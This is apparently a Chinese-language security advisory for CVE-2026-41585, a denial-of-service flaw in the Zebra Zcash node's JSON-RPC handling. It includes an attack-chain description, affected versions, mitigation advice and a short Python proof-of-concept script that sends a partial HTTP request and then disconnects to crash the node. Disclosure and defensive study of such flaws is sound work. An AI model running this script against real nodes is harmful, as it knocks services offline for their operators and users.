IPBUF安全漏洞报告
English
CVE-2026-41585 CVSS 6.5 中危

CVE-2026-41585: Zebra节点JSON-RPC拒绝服务漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-41585
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Zebra (Zcash Node)

相关标签

拒绝服务ZcashZebraJSON-RPCRustCVE-2026-41585

漏洞概述

Zebra是一个完全使用Rust编写的Zcash节点。在zebrad 2.2.0至4.3.1之前版本以及zebra-rpc 1.0.0-beta.45至6.0.2之前版本中,JSON-RPC HTTP中间件存在漏洞。已认证的RPC客户端如果在请求体被完全接收前断开连接,会导致Zebra节点将读取失败视为不可恢复错误并中止进程,从而引发拒绝服务。该问题已在zebrad 4.3.1和zebra-rpc 6.0.2版本中修复。

技术细节

该漏洞的根因在于Zebra的JSON-RPC中间件处理HTTP请求流时的错误逻辑缺陷。当攻击者拥有低权限RPC账号时,可以建立与Zebra节点的HTTP连接并发送POST请求。攻击者故意在发送完HTTP头部或部分请求体后,立即断开TCP连接,不发送完整的数据流。此时,Zebra节点在尝试读取剩余的请求体时遇到I/O错误。由于代码未正确处理这种可恢复的网络中断异常,而是将其视为致命错误,直接触发了进程的panic或abort机制,导致整个节点崩溃,影响系统的可用性(A:H)。

攻击链分析

STEP 1
侦察
攻击者发现目标运行的是存在漏洞的Zebra节点版本,并获取了低权限RPC认证凭据。
STEP 2
建立连接
攻击者连接到Zebra节点的JSON-RPC HTTP服务端口。
STEP 3
发送恶意请求
攻击者开始发送HTTP POST请求,但在请求体传输完成前主动断开TCP连接。
STEP 4
触发异常
Zebra节点在读取剩余请求体时失败,错误处理逻辑将其视为不可恢复错误。
STEP 5
拒绝服务
节点进程崩溃中止,导致Zcash节点服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # PoC for CVE-2026-41585 # This script demonstrates how an incomplete request can trigger the crash. TARGET_HOST = "127.0.0.1" TARGET_PORT = 8232 # Default Zcash RPC port def send_partial_request(): try: print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # Construct a partial HTTP POST request # In a real scenario, valid Authorization headers are required (PR:L) request = ( "POST / HTTP/1.1\r\n" "Host: 127.0.0.1\r\n" "Content-Length: 100\r\n" "\r\n" "incomplete_data_payload" # Sending incomplete body ) print("[*] Sending partial request body...") s.send(request.encode('utf-8')) # Disconnect immediately before the server finishes reading print("[*] Closing connection abruptly...") s.close() print("[+] PoC executed. Check if the node crashed.") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": send_partial_request()

影响范围

zebrad >= 2.2.0, < 4.3.1
zebra-rpc >= 1.0.0-beta.45, < 6.0.2

防御指南

临时缓解措施
如果无法立即升级,建议在Zebra节点前部署反向代理或防火墙,严格限制并发连接数和请求速率,并过滤异常的连接行为。同时,应严格收紧RPC访问控制列表,确保只有必要的客户端拥有访问权限。

参考链接